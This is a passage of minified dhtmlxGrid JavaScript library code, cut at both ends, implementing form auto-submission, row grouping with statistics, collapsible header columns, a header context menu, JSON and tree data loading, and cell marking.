e=h.match(/<>|>=|<=|>|<|=/);if(e){var m=e[0];var c=parseFloat(h.replace(m,\"\"))}else{var m=\"==\";c=parseFloat(h)}if(m==\"<>\"){m=\"!=\"}if(m==\"=\"){m=\"==\"}return new Function(\"value\",\" if (value \"+m+\" \"+c+\" ) return true; return false;\")};dhtmlXGridObject.prototype.attachHeaderA=dhtmlXGridObject.prototype.attachHeader;dhtmlXGridObject.prototype.attachHeader=function(){this.attachHeaderA.apply(this,arguments);if(this._realfake){return true}this.formAutoSubmit();if(typeof(this.FormSubmitOnlyChanged)==\"undefined\"){this.submitOnlyChanged(true)}if(typeof(this._submitAR)==\"undefined\"){this.submitAddedRows(true)}var a=this;this._added_rows=[];this._deleted_rows=[];this.attachEvent(\"onRowAdded\",function(c){a._added_rows.push(c);a.forEachCell(c,function(e){e.cell.wasChanged=true});return true});this.attachEvent(\"onBeforeRowDeleted\",function(c){a._deleted_rows.push(c);return true});this.attachHeader=this.attachHeaderA};dhtmlXGridObject.prototype.formAutoSubmit=function(){this.parentForm=this.detectParentFormPresent();if(this.parentForm===false){return false}if(this.formEventAttached){return}this.formInputs=new Array();var a=this;dhtmlxEvent(this.parentForm,\"submit\",function(){if(a.entBox){a.parentFormOnSubmit()}});this.formEventAttached=true};dhtmlXGridObject.prototype.parentFormOnSubmit=function(){this.formCreateInputCollection();if(!this.callEvent(\"onBeforeFormSubmit\",[])){return false}};dhtmlXGridObject.prototype.submitOnlyChanged=function(a){this.FormSubmitOnlyChanged=dhx4.s2b(a)};dhtmlXGridObject.prototype.submitColumns=function(a){if(typeof a==\"string\"){a=a.split(this.delim)}this._submit_cols=a};dhtmlXGridObject.prototype.setFieldName=function(a){a=a.replace(/\\{GRID_ID\\}/g,\"'+a1+'\");a=a.replace(/\\{ROW_ID\\}/g,\"'+a2+'\");a=a.replace(/\\{ROW_INDEX\\}/g,\"'+this.getRowIndex(a2)+'\");a=a.replace(/\\{COLUMN_INDEX\\}/g,\"'+a3+'\");a=a.replace(/\\{COLUMN_ID\\}/g,\"'+this.getColumnId(a3)+'\");this._input_mask=Function(\"a1\",\"a2\",\"a3\",\"return '\"+a+\"';\")};dhtmlXGridObject.prototype.submitSerialization=function(a){this.FormSubmitSerialization=dhx4.s2b(a)};dhtmlXGridObject.prototype.submitAddedRows=function(a){this._submitAR=dhx4.s2b(a)};dhtmlXGridObject.prototype.submitOnlySelected=function(a){this.FormSubmitOnlySelected=dhx4.s2b(a)};dhtmlXGridObject.prototype.submitOnlyRowID=function(a){this.FormSubmitOnlyRowID=dhx4.s2b(a)};dhtmlXGridObject.prototype.createFormInput=function(c,e){var a=document.createElement(\"input\");a.type=\"hidden\";if(this._input_mask&&(typeof c!=\"string\")){a.name=this._input_mask.apply(this,c)}else{a.name=((this.globalBox||this.entBox).id||\"dhtmlXGrid\")+\"_\"+c}a.value=e;this.parentForm.appendChild(a);this.formInputs.push(a)};dhtmlXGridObject.prototype.createFormInputRow=function(e){var g=(this.globalBox||this.entBox).id;for(var c=0;c<this._cCount;c++){var a=this.cells3(e,c);if(((!this.FormSubmitOnlyChanged)||a.wasChanged())&&(!this._submit_cols||this._submit_cols[c])){this.createFormInput(this._input_mask?[g,e.idd,c]:(e.idd+\"_\"+c),a.getValue())}}};dhtmlXGridObject.prototype.formCreateInputCollection=function(){if(this.parentForm==false){return false}for(var a=0;a<this.formInputs.length;a++){this.parentForm.removeChild(this.formInputs[a])}this.formInputs=new Array();if(this.FormSubmitSerialization){this.createFormInput(\"serialized\",this.serialize())}else{if(this.FormSubmitOnlySelected){if(this.FormSubmitOnlyRowID){this.createFormInput(\"selected\",this.getSelectedId())}else{for(var a=0;a<this.selectedRows.length;a++){this.createFormInputRow(this.selectedRows[a])}}}else{if(this._submitAR){if(this._added_rows.length){this.createFormInput(\"rowsadded\",this._added_rows.join(\",\"))}if(this._deleted_rows.length){this.createFormInput(\"rowsdeleted\",this._deleted_rows.join(\",\"))}}this.forEachRow(function(c){if(this.getRowById(c)!==-1){this.createFormInputRow(this.rowsAr[c])}})}}};dhtmlXGridObject.prototype.detectParentFormPresent=function(){var a=false;var c=this.entBox;while(c&&c.tagName&&c!=document.body){if(c.tagName.toLowerCase()==\"form\"){a=c;break}else{c=c.parentNode}}return a};dhtmlXGridObject.prototype.unGroup=function(){if(!this._groups){return}this._dndProblematic=false;delete this._groups;delete this._gIndex;if(this._fake){this._mirror_rowsCol()}this.forEachRow(function(a){this.rowsAr[a].style.display=\"\"});this._reset_view();this.callEvent(\"onGridReconstructed\",[]);this.callEvent(\"onUnGroup\",[])};dhtmlXGridObject.prototype._mirror_rowsCol=function(){this._fake._groups=this._groups;this._fake._gIndex=this._gIndex;this.rowsBuffer=dhtmlxArray();for(var a=0;a<this.rowsCol.length;a++){if(!this.rowsCol[a]._cntr){this.rowsBuffer.push(this.rowsCol[a])}}this._fake.rowsBuffer=dhtmlxArray();for(var a=0;a<this._fake.rowsCol.length;a++){if(!this._fake.rowsCol[a]._cntr){this._fake.rowsBuffer.push(this._fake.rowsCol[a])}}};dhtmlXGridObject.prototype.groupBy=function(m,g){if(this._groups){this.unGroup()}this._dndProblematic=true;this._groups={};if(!g){g=[\"#title\"];for(var h=1;h<this._cCount;h++){g.push(\"#cspan\")}}this._gmask=document.createElement(\"TR\");this._gmask.origin=g;var l,e=0;for(var h=0;h<g.length;h++){if(g[h]==\"#cspan\"){l.colSpan=(parseInt(l.colSpan)||1)+1}else{l=document.createElement(\"TD\");l._cellIndex=h;if(this._hrrar[h]){l.style.display=\"none\"}l.className=\"group_row\";l.innerHTML=\"&nbsp;\";if(g[h]==\"#title\"){this._gmask._title=e}else{l.align=this.cellAlign[h]||\"left\"}this._gmask.appendChild(l);if(g[h].indexOf(\"#stat\")==0){this._gmask._math=true;l._counter=[this[\"_g_\"+g[h].replace(\"#\",\"\")],h,e]}e++}}for(var c in this._groups){this._groups[c]=this.undefined}this._gIndex=m;if(this._fake&&!this._realfake){this._fake._groups=[];this._fake._gIndex=this._gIndex}this._nextRow=function(o,a){var n=this.rowsCol[o+a];if(n&&(n.style.display==\"none\"||n._cntr)){return this._nextRow(o+a,a)}return n};if(!this.__sortRowsBG){this._key_events=dhtmlx.extend({},this._key_events);this._key_events.k38_0_0=function(){if(this.editor&&this.editor.combo){this.editor.shiftPrev()}else{var a=this.row.rowIndex;if(!a){return}var n=this._nextRow(a-1,-1);if(n){this.selectCell(n,this.cell._cellIndex,true)}}};this._key_events.k13_1_0=this._key_events.k13_0_1=function(){};this._key_events.k40_0_0=function(){if(this.editor&&this.editor.combo){this.editor.shiftNext()}else{var a=this.row.rowIndex;if(!a){return}var n=this._nextRow(a-1,1);if(n){this.selectCell(n,this.cell._cellIndex,true)}}};this.attachEvent(\"onFilterStart\",function(){if(this._groups){this._groups=this.undefined}return true});this.attachEvent(\"onFilterEnd\",function(){if(typeof this._gIndex!=\"undefined\"){this.groupBy(this._gIndex,this._gmask.origin)}});this.sortRows_bg=this.sortRows;this.sortRows=function(o,n,a){if(typeof(this._groups)==\"undefined\"){return this.sortRows_bg.apply(this,arguments)}n=n||\"str\";a=a||\"asc\";if(this.callEvent(\"onBeforeSorting\",[o,n,a])){if(typeof(this._groups)==\"undefined\"){return true}if(o==this._gIndex){this._sortByGroup(o,n,a)}else{this._sortInGroup(o,n,a)}this.setSortImgState(true,o,a);if(this._fake){this._mirror_rowsCol();this._fake._groups=[];this._fake._reset_view()}this.setSortImgState(true,o,a);this.callEvent(\"onAfterSorting\",[o,n,a])}return false};this.attachEvent(\"onClearAll\",function(){this.unGroup()});this.attachEvent(\"onBeforeRowDeleted\",function(o){if(!this._groups){return true}if(!this.rowsAr[o]){return true}var n=this.cells(o,this._gIndex).getValue();if(n===\"\"){n=\" \"}var a=this._groups[n];this._dec_group(a);return true});this.attachEvent(\"onAfterRowDeleted\",function(a){this.updateGroups()});this.attachEvent(\"onCheckbox\",function(o,a,n){this.callEvent(\"onEditCell\",[2,o,a,(n?1:0),(n?0:1)])});this.attachEvent(\"onXLE\",this.updateGroups);this.attachEvent(\"onColumnHidden\",this.hideGroupColumn);this.attachEvent(\"onEditCell\",function(C,s,y,x,D){if(!this._groups){return true}if(C==2&&x!=D&&y==this._gIndex){if(D===\"\"){D=\" \"}this._dec_group(this._groups[D]);var a=this.rowsAr[s];var A=this.rowsCol._dhx_find(a);var v=this._inc_group(x);var w=this.rowsCol[v];if(a==w){w=w.nextSibling}var q=a.parentNode;var u=a.rowIndex;q.removeChild(a);if(w){q.insertBefore(a,w)}else{q.appendChild(a)}this.rowsCol._dhx_insertAt(v,a);if(v<A){A++}this.rowsCol._dhx_removeAt(A,a);this._fixAlterCss()}else{if(C==2&&x!=D){this.updateGroups();this._updateGroupView(this._groups[this.cells(s,this._gIndex).getValue()||\" \"])}}return true});this.__sortRowsBG=true}this._groupExisting();if(this._hrrar){for(var h=0;h<this._hrrar.length;h++){if(this._hrrar[h]){this.hideGroupColumn(h,true)}}}this.callEvent(\"onGroup\",[]);if(this._ahgr||this._awdth){this.setSizes()}};dhtmlXGridObject.prototype._sortInGroup=function(e,n,g){var o=this._groups_get();o.reverse();for(var l=0;l<o.length;l++){var m=o[l]._cntr._childs;var q={};for(var h=0;h<m.length;h++){var r=this.cells3(m[h],e);q[m[h].idd]=r.getDate?r.getDate():r.getValue()}this._sortCore(e,n,g,q,m)}this._groups_put(o);this.setSizes();this.callEvent(\"onGridReconstructed\",[])};dhtmlXGridObject.prototype._sortByGroup=function(h,m,e){var c=this._groups_get();var g=[];for(var l=0;l<c.length;l++){c[l].idd=\"_sort_\"+l;g[\"_sort_\"+l]=c[l]._cntr.text}this._sortCore(h,m,e,g,c);this._groups_put(c);this.callEvent(\"onGridReconstructed\",[]);this.setSizes()};dhtmlXGridObject.prototype._inc_group=function(h,e,a){if(h===\"\"){h=\" \"}if(!this._groups[h]){this._groups[h]={text:h,row:this._addPseudoRow(),count:0,state:e?\"plus\":\"minus\"}}var g=this._groups[h];g.row._cntr=g;var c=this.rowsCol._dhx_find(g.row)+g.count+1;g.count++;if(!a){this._updateGroupView(g);this.updateGroups()}return c};dhtmlXGridObject.prototype._dec_group=function(a){if(!a){return}a.count--;if(a.count==0){a.row.parentNode.removeChild(a.row);this.rowsCol._dhx_removeAt(this.rowsCol._dhx_find(a.row));delete this._groups[a.text]}else{this._updateGroupView(a)}if(this._fake&&!this._realfake){this._fake._dec_group(this._fake._groups[a.text])}this.updateGroups();return true};dhtmlXGridObject.prototype._insertRowAt_gA=dhtmlXGridObject.prototype._insertRowAt;dhtmlXGridObject.prototype._insertRowAt=function(e,g,c){if(typeof(this._groups)!=\"undefined\"){if(this._realfake){var h=this._fake._bfs_cells(e.idd,this._gIndex).getValue()}else{if(this._bfs_cells3){var h=this._bfs_cells3(e,this._gIndex).getValue()}else{var h=this.cells3(e,this._gIndex).getValue()}}if(!h){h=\" \"}g=this._inc_group(h,e.style.display==\"none\")}var a=this._insertRowAt_gA(e,g,c);if(typeof(this._groups)!=\"undefined\"){this.expandGroup(h);this._updateGroupView(this._groups[h]);this.updateGroups()}return a};dhtmlXGridObject.prototype._updateGroupView=function(e){if(this._fake&&!this._realfake){return e.row.firstChild.innerHTML=\"&nbsp;\"}var a=this._gmask||this._fake._gmask;var c=\"<img style='margin-bottom:-4px' src='\"+this.imgURL+e.state+\".gif'> \";if(this.customGroupFormat){c+=this.customGroupFormat(e.text,e.count)}else{c+=e.text+\" ( \"+e.count+\" ) \"}e.row.childNodes[a._title].innerHTML=c};dhtmlXGridObject.prototype._addPseudoRow=function(h){var a=this._gmask||this._fake._gmask;var g=a.cloneNode(true);for(var c=0;c<g.childNodes.length;c++){g.childNodes[c]._cellIndex=a.childNodes[c]._cellIndex;if(this._realfake){g.childNodes[c].style.display=\"\"}}var e=this;g.onclick=function(l){if(!e.callEvent(\"onGroupClick\",[this._cntr.text])){return}if(e._fake&&e._realfake){e._fake._switchGroupState(e._fake._groups[this._cntr.text].row)}else{e._switchGroupState(this)}(l||event).cancelBubble=\"true\"};g.ondblclick=function(l){(l||event).cancelBubble=\"true\"};if(!h){if(_isKHTML){this.obj.appendChild(g)}else{this.obj.firstChild.appendChild(g)}this.rowsCol.push(g)}return g};dhtmlXGridObject.prototype._groups_get=function(){var c=[];this._temp_par=this.obj.parentNode;this._temp_par.removeChild(this.obj);var e=[];for(var g=this.rowsCol.length-1;g>=0;g--){if(this.rowsCol[g]._cntr){this.rowsCol[g]._cntr._childs=e;e=[];c.push(this.rowsCol[g])}else{e.push(this.rowsCol[g])}this.rowsCol[g].parentNode.removeChild(this.rowsCol[g])}return c};dhtmlXGridObject.prototype._groups_put=function(a){var h=this.rowsCol.stablesort;this.rowsCol=new dhtmlxArray(0);this.rowsCol.stablesort=h;for(var g=0;g<a.length;g++){var e=a[g]._cntr;this.obj.firstChild.appendChild(e.row);this.rowsCol.push(e.row);e.row.idd=null;for(var c=0;c<e._childs.length;c++){this.obj.firstChild.appendChild(e._childs[c]);this.rowsCol.push(e._childs[c])}delete e._childs}this._temp_par.appendChild(this.obj)};dhtmlXGridObject.prototype._groupExisting=function(c){if(!this.getRowsNum()){return}var c=[];this._temp_par=this.obj.parentNode;this._temp_par.removeChild(this.obj);var e=[];var g=this.rowsCol.length;for(var h=0;h<g;h++){var m=this.cells4(this.rowsCol[h].childNodes[this._gIndex]).getValue();this.rowsCol[h].style.display=\"\";if(!m){m=\" \"}if(!this._groups[m]){this._groups[m]={text:m,row:this._addPseudoRow(true),count:0,state:\"minus\"};var l=this._groups[m];l.row._cntr=l;this._groups[m]._childs=[];c.push(l.row)}this._groups[m].count++;this._groups[m]._childs.push(this.rowsCol[h]);this.rowsCol[h].parentNode.removeChild(this.rowsCol[h])}for(var h=0;h<c.length;h++){this._updateGroupView(c[h]._cntr)}this._groups_put(c);if(this._fake&&!this._realfake){this._mirror_rowsCol();this._fake._groups=[];this._fake._reset_view()}this.callEvent(\"onGridReconstructed\",[]);this.updateGroups()};dhtmlXGridObject.prototype._switchGroupState=function(g){var e=g._cntr;if(this._fake&&!this._realfake){e.state=this._fake._groups[g._cntr.text].row._cntr.state;this._fake._switchGroupState(this._fake._groups[g._cntr.text].row)}var c=this.rowsCol._dhx_find(e.row)+1;e.state=e.state==\"minus\"?\"plus\":\"minus\";var a=e.state==\"plus\"?\"none\":\"\";while(this.rowsCol[c]&&!this.rowsCol[c]._cntr){this.rowsCol[c].style.display=a;c++}this._updateGroupView(e);this.callEvent(\"onGroupStateChanged\",[e.text,(e.state==\"minus\")]);this.setSizes()};dhtmlXGridObject.prototype.expandGroup=function(a){if(this._groups[a].state==\"plus\"){this._switchGroupState(this._groups[a].row)}};dhtmlXGridObject.prototype.collapseGroup=function(a){if(this._groups[a].state==\"minus\"){this._switchGroupState(this._groups[a].row)}};dhtmlXGridObject.prototype.expandAllGroups=function(){for(var a in this._groups){if(this._groups[a]&&this._groups[a].state==\"plus\"){this._switchGroupState(this._groups[a].row)}}};dhtmlXGridObject.prototype.collapseAllGroups=function(){for(var a in this._groups){if(this._groups[a]&&this._groups[a].state==\"minus\"){this._switchGroupState(this._groups[a].row)}}};dhtmlXGridObject.prototype.hideGroupColumn=function(l,h){if(this._fake){return}var g=-1;var m=this._gmask.childNodes;for(var e=0;e<m.length;e++){if(m[e]._cellIndex==l){g=e;break}}if(g==-1){return}for(var c in this._groups){this._groups[c].row.childNodes[g].style.display=h?\"none\":\"\"}};dhtmlXGridObject.prototype.groupStat=function(c,g,e){e=this[\"_g_\"+(e||\"stat_total\")];var h=0;var a=0;this.forEachRowInGroup(c,function(l){h=e(h,this.cells(l,g).getValue()*1,a);a++});return h};dhtmlXGridObject.prototype.forEachRowInGroup=function(a,g){var h=this._groups[a].row.nextSibling;if(h){while(h&&!h._cntr){g.call(this,h.idd);h=h.nextSibling}}else{var e=this._groups[a]._childs;if(e){for(var c=0;c<e.length;c++){g.call(this,e[c].idd)}}}};dhtmlXGridObject.prototype.updateGroups=function(){if(!this._gmask||!this._gmask._math||this._parsing){return}var c=this._gmask.childNodes;for(var a=0;a<c.length;a++){if(c[a]._counter){this._b_processing.apply(this,c[a]._counter)}}};dhtmlXGridObject.prototype._b_processing=function(e,m,l){var n=0,g=0;if(!this._ecache[this.cellType[m]]){this.cells5({parentNode:{grid:this}},this.cellType[m])}for(var h=this.rowsCol.length-1;h>=0;h--){if(!this.rowsCol[h]._cntr){n=e(n,this.cells3(this.rowsCol[h],m).getValue()*1,g);g++}else{this.cells5(this.rowsCol[h].childNodes[l],this.cellType[m]).setValue(n);g=n=0}}};dhtmlXGridObject.prototype._g_stat_total=function(g,e,a){return g+e};dhtmlXGridObject.prototype._g_stat_min=function(g,e,a){if(!a){g=Infinity}return Math.min(g,e)};dhtmlXGridObject.prototype._g_stat_max=function(g,e,a){if(!a){g=-Infinity}return Math.max(g,e)};dhtmlXGridObject.prototype._g_stat_average=function(g,e,a){return(g*a+e)/(a+1)};dhtmlXGridObject.prototype._g_stat_count=function(g,e,a){return g++};dhtmlXGridObject.prototype._in_header_collapse=function(h,g,n){var a=h.tagName==\"TD\"?h:h.parentNode;g=a._cellIndexS;if(!this._column_groups){this._column_groups=[]}var m=n[1].split(\":\");var m=n[1].split(\":\");m=[m.shift(),m.join(\":\")];var l=parseInt(m[0]);h.innerHTML=n[0]+\"<img src='\"+this.imgURL+\"minus.gif' style='padding-right:10px;height:16px'/><span style='position:relative; top:-6px;'>\"+(m[1]||\"\")+\"<span>\";h.style.paddingBottom=\"0px\";var e=this;this._column_groups[g]=h.getElementsByTagName(\"IMG\")[0];this._column_groups[g].onclick=function(o){(o||event).cancelBubble=true;this._cstate=!this._cstate;for(var c=g+1;c<(g+l);c++){e.setColumnHidden(c,this._cstate)}if(this._cstate){if(a.colSpan&&a.colSpan>0){a._exp_colspan=a.colSpan;var s=Math.max(1,a.colSpan-l);if(!_isFF){for(var q=0;q<a.colSpan-s;q++){var r=document.createElement(\"TD\");if(a.nextSibling){a.parentNode.insertBefore(r,a.nextSibling)}else{a.parentNode.appendChild(r)}}}a.colSpan=s}e.callEvent(\"onColumnCollapse\",[g,this._cstate])}else{if(a._exp_colspan){a.colSpan=a._exp_colspan;if(!_isFF){for(var q=1;q<a._exp_colspan;q++){a.parentNode.removeChild(a.nextSibling)}}e.callEvent(\"onColumnCollapse\",[g,this._cstate])}}this.src=e.imgURL+(this._cstate?\"plus.gif\":\"minus.gif\");if(e.sortImg.style.display!=\"none\"){e.setSortImgPos()}}};dhtmlXGridObject.prototype.collapseColumns=function(a){if(!this._column_groups[a]||this._column_groups[a]._cstate){return}this._column_groups[a].onclick({})};dhtmlXGridObject.prototype.expandColumns=function(a){if(!this._column_groups[a]||!this._column_groups[a]._cstate){return}this._column_groups[a].onclick({})};dhtmlXGridObject.prototype.enableHeaderMenu=function(a){if(!window.dhtmlXMenuObject){return dhtmlx.message(\"You need to include DHTMLX Menu\")}if(!this._header_menu){var e=this._header_menu=new dhtmlXMenuObject();e.renderAsContextMenu();var c=this;e.attachEvent(\"onBeforeContextMenu\",function(){c._showHContext(a);return true});e.attachEvent(\"onClick\",function(q){var m=this.getCheckboxState(q);var n=c.hdr.rows[1];for(var h=0;h<n.cells.length;h++){var o=n.cells[h];if(o._cellIndexS==q){var g=o.colSpan||1;for(var l=0;l<g;l++){c.setColumnHidden(q*1+l,!m)}}}});this.attachEvent(\"onInit\",function(){e.addContextZone(this.hdr)});if(this.hdr.rows.length){this.callEvent(\"onInit\",[])}}};dhtmlXGridObject.prototype.getHeaderMenu=function(a){return this._header_menu};dhtmlXGridObject.prototype._hideHContext=function(){if(this._header_menu){this._header_menu.hide()}};dhtmlXGridObject.prototype._showHContext=function(g){if(typeof g==\"string\"){g=g.split(this.delim)}var h=0;var a=0;this._header_menu.clearAll();for(var e=0;e<this.hdr.rows[1].cells.length;e++){var n=this.hdr.rows[1].cells[e];if(!g||(g[h]&&g[h]!=\"false\")){if(n.firstChild&&n.firstChild.tagName==\"DIV\"){var m=n.firstChild.innerHTML}else{var m=n.innerHTML}m=m.replace(/<[^>]*>/gi,\"\");var l=!(this.isColumnHidden(h)||(this.getColWidth(h)==0));this._header_menu.addCheckbox(\"child\",this._header_menu.topId,a,h,m,l);a++}h+=(n.colSpan||1)}};dhtmlXGridObject.prototype._process_json_row=function(h,l){h._attrs=l;for(var e=0;e<h.childNodes.length;e++){h.childNodes[e]._attrs={}}if(l.userdata){for(var c in l.userdata){this.setUserData(h.idd,c,l.userdata[c])}}l=this._c_order?this._swapColumns(l.data):l.data;for(var g=0;g<l.length;g++){if(typeof l[g]==\"object\"&&l[g]!=null){h.childNodes[g]._attrs=l[g];if(l[g].type){h.childNodes[g]._cellType=l[g].type}l[g]=l[g].value}}this._fillRow(h,l);return h};dhtmlXGridObject.prototype._process_js_row=function(l,m){l._attrs=m;for(var g=0;g<l.childNodes.length;g++){l.childNodes[g]._attrs={}}if(m.userdata){for(var e in m.userdata){this.setUserData(l.idd,e,m.userdata[e])}}var c=[];for(var h=0;h<this.columnIds.length;h++){c[h]=m[this.columnIds[h]];if(typeof c[h]==\"object\"&&c[h]!=null){l.childNodes[h]._attrs=c[h];if(c[h].type){l.childNodes[h]._cellType=c[h].type}c[h]=c[h].value}if(!c[h]&&c[h]!==0){c[h]=\"\"}}this._fillRow(l,c);return l};dhtmlXGridObject.prototype.updateFromJSON=function(a,g,c,e){if(typeof g==\"undefined\"){g=true}this._refresh_mode=[true,g,c];this.load(a,e,\"json\")},dhtmlXGridObject.prototype._refreshFromJSON=function(e){if(this._f_rowsBuffer){this.filterBy(0,\"\")}reset=false;if(window.eXcell_tree){eXcell_tree.prototype.setValueX=eXcell_tree.prototype.setValue;eXcell_tree.prototype.setValue=function(u){var s=this.grid._h2.get[this.cell.parentNode.idd];if(s&&this.cell.parentNode.valTag){this.setLabel(u)}else{this.setValueX(u)}}}var q=this.cellType._dhx_find(\"tree\");var h=e.parent||0;var m={};if(this._refresh_mode[2]){if(q!=-1){this._h2.forEachChild(h,function(r){m[r.id]=true},this)}else{this.forEachRow(function(r){m[r]=true})}}var o=e.rows;for(var g=0;g<o.length;g++){var n=o[g];var a=n.id;m[a]=false;if(this.rowsAr[a]&&this.rowsAr[a].tagName!=\"TR\"){if(this._h2){this._h2.get[a].buff.data=n}else{this.rowsBuffer[this.getRowIndex(a)].data=n}this.rowsAr[a]=n}else{if(this.rowsAr[a]){this._process_json_row(this.rowsAr[a],n,-1);this._postRowProcessing(this.rowsAr[a],true)}else{if(this._refresh_mode[1]){var l={idd:a,data:n,_parser:this._process_json_row,_locator:this._get_json_data};var c=this.rowsBuffer.length;if(this._refresh_mode[1]==\"top\"){this.rowsBuffer.unshift(l);c=0}else{this.rowsBuffer.push(l)}if(this._h2){reset=true;(this._h2.add(a,h)).buff=this.rowsBuffer[this.rowsBuffer.length-1]}this.rowsAr[a]=n;n=this.render_row(c);this._insertRowAt(n,c?-1:0)}}}}if(this._refresh_mode[2]){for(a in m){if(m[a]&&this.rowsAr[a]){this.deleteRow(a)}}}this._refresh_mode=null;if(window.eXcell_tree){eXcell_tree.prototype.setValue=eXcell_tree.prototype.setValueX}if(reset){this._renderSort()}if(this._f_rowsBuffer){this._f_rowsBuffer=null;this.filterByAll()}},dhtmlXGridObject.prototype._process_js=function(a){return this._process_json(a,\"js\")},dhtmlXGridObject.prototype._parseHeadJson=function(r){if(!r.head||!r.head.length){return}var a=r.head;var g=r.settings;var m=\"setInitWidths\";var o=false;if(g&&g.colwidth==\"%\"){m=\"setInitWidthsP\"}if(g&&g.splitat==\"%\"){o=g.splitat}if(this.hdr.rows.length>0){this.clearAll(true)}var n=[[],[],[],[],[],[],[]];var q=[\"value\",\"width\",\"type\",\"align\",\"sort\",\"hidden\",\"id\"];var u=[\"\",m,\"setColTypes\",\"setColAlign\",\"setColSorting\",\"\",\"setColumnIds\"];for(var l=0;l<a.length;l++){for(var h=0;h<q.length;h++){n[h].push(a[l][q[h]])}}this.setHeader(n[0]);for(var l=0;l<u.length;l++){if(u[l]){this[u[l]](n[l].join(this.delim))}}for(var l=0;l<a.length;l++){var s=a[l].options;if(a[l].options){if(this.cellType[l]==\"clist\"){this.registerCList(l,s)}else{var c=this.getCombo(l);for(var h=0;h<s.length;h++){c.put(s[h].id,s[h].value)}}}}this.init();var e=n[5].join(this.delim);if(this.setColHidden&&e.replace(/,/g,\"\")!=\"\"){this.setColHidden(e)}if((o)&&(this.splitAt)){this.splitAt(o)}};dhtmlXGridObject.prototype._process_json=function(data,mode){this._parsing=true;try{var data=data.responseText||data;if(typeof data==\"string\"){eval(\"dhtmlx.temp=\"+data+\";\");data=dhtmlx.temp}}catch(e){dhx4.callEvent(\"onLoadXMLError\",[\"Incorrect JSON\",(data.xmlDoc||data),this]);data={rows:[]}}if(this._refresh_mode){return this._refreshFromJSON(data)}if(data.head){this._parseHeadJson(data)}var cr=parseInt(data.pos||0);var total=parseInt(data.total_count||0);var reset=false;if(total){if(!this.rowsBuffer[total-1]){if(this.rowsBuffer.length){reset=true}this.rowsBuffer[total-1]=null}if(total<this.rowsBuffer.length){this.rowsBuffer.splice(total,this.rowsBuffer.length-total);reset=true}}var userdata=mode===\"js\"?data.userdata:data;for(var key in userdata){if(mode===\"js\"||key!=\"rows\"){this.setUserData(\"\",key,userdata[key])}}if(mode==\"js\"&&data.collections){for(var colkey in data.collections){var index=this.getColIndexById(colkey);var colrecs=data.collections[colkey];if(index!==window.undefined){if(this.cellType[index]==\"clist\"){colplaindata=[];for(var j=0;j<colrecs.length;j++){colplaindata.push(colrecs[j].label)}this.registerCList(index,colplaindata)}else{var combo=this.getCombo(index);for(var j=0;j<colrecs.length;j++){combo.put(colrecs[j].value,colrecs[j].label)}}}}}if(this.isTreeGrid()){return this._process_tree_json(data,null,null,mode)}if(mode==\"js\"){if(data.data){data=data.data}for(var i=0;i<data.length;i++){if(this.rowsBuffer[i+cr]){continue}var row=data[i];var id=row.id||(i+1);this.rowsBuffer[i+cr]={idd:id,data:row,_parser:this._process_js_row,_locator:this._get_js_data};this.rowsAr[id]=data[i]}}else{for(var i=0;i<data.rows.length;i++){if(this.rowsBuffer[i+cr]){continue}var id=data.rows[i].id;this.rowsBuffer[i+cr]={idd:id,data:data.rows[i],_parser:this._process_json_row,_locator:this._get_json_data};this.rowsAr[id]=data.rows[i]}}this.callEvent(\"onDataReady\",[]);if(reset&&this._srnd){var h=this.objBox.scrollTop;this._reset_view();this.objBox.scrollTop=h}else{this.render_dataset()}this._parsing=false};dhtmlXGridObject.prototype._get_json_data=function(c,a){if(typeof c.data[a]==\"object\"){return c.data[a].value}else{return c.data[a]}};dhtmlXGridObject.prototype._process_tree_json=function(g,h,c,m){this._parsing=true;var a=false;if(!h){this.render_row=this.render_row_tree;a=true;h=g;c=h.parent||0;if(c==\"0\"){c=0}if(!this._h2){this._h2=this._createHierarchy()}if(this._fake){this._fake._h2=this._h2}}if(m==\"js\"){if(h.data&&!c){g=h.data}if(h.rows){h=h.rows}for(var e=0;e<h.length;e++){var n=h[e].id;var l=this._h2.add(n,c);l.buff={idd:n,data:h[e],_parser:this._process_js_row,_locator:this._get_js_data};if(h[e].open){l.state=\"minus\"}this.rowsAr[n]=l.buff;this._process_tree_json(h[e],h[e],n,m)}}else{if(h.rows){for(var e=0;e<h.rows.length;e++){var n=h.rows[e].id;var l=this._h2.add(n,c);l.buff={idd:n,data:h.rows[e],_parser:this._process_json_row,_locator:this._get_json_data};if(h.rows[e].open){l.state=\"minus\"}this.rowsAr[n]=l.buff;this._process_tree_json(h.rows[e],h.rows[e],n,m)}}}if(a){if(c!=0){this._h2.change(c,\"state\",\"minus\")}this._updateTGRState(this._h2.get[c]);this._h2_to_buff();this.callEvent(\"onDataReady\",[]);if(c!=0&&(this._srnd||this.pagingOn)){this._renderSort()}else{this.render_dataset()}if(this._slowParse===false){this.forEachRow(function(o){this.render_row_tree(0,o)})}this._parsing=false;if(c!=0&&!this._srnd){this.callEvent(\"onOpenEnd\",[c,1])}}};dhtmlXGridObject.prototype.enableMarkedCells=function(a){this.markedRowsArr=new dhtmlxArray(0);this.markedCellsArr=new Array(0);this.lastMarkedRow=null;this.lastMarkedColumn=null;this.markedCells=true;this.lastMarkMethod=0;if(arguments.length>0){if(!dhx4.s2b(a)){this.markedCells=false}}};dhtmlXGridObject.prototype.doMark=function(e,m){var l=e.parentNode.idd;this.setActive(true);if(!l){return}this.editStop();this.cell=e;this.row=e.parentNode;var o=e._cellIndex;if(!m){m=0}if(m==0){this.unmarkAll()}else{if(m==1){if(this.lastMarkedRow){var c=Math.min(this.getRowIndex(l),this.getRowIndex(this.lastMarkedRow));var n=Math.max(this.getRowIndex(l),this.getRowIndex(this.lastMarkedRow));var a=Math.min(o,this.lastMarkedColumn);var q=Math.max(o,this.lastMarkedColumn);for(var h=c;h<n+1;h++){for(var g=a;g<q+1;g++){this.mark(this.getRowId(h),g,true)}}}}else{if(m==2){if(this.markedRowsArr._dhx_find(l)!=-1){for(var r=0;r<this.markedCellsArr[l].length;r++){if(this.markedCellsArr[l][r]==o){this.mark(l,o,false);return true}}}}}}if(!this.markedCellsArr[l]){this.markedCellsArr[l]=new dhtmlxArray(0)}if(m!=1){this.mark(l,o)}this.moveToVisible(this.cells(l,o).cell);this.lastMarkedRow=l;this.lastMarkedColumn=o;this.lastMarkMethod=m};dhtmlXGridObject.prototype.mark=function(e,c,g){if(arguments.length>2){if(!dhx4.s2b(g)){this.cells(e,c).cell.className=this.cells(e,c).cell.className.replace(/cellselected/g,\"\");if(this.markedRowsArr._dhx_find(e)!=-1){var 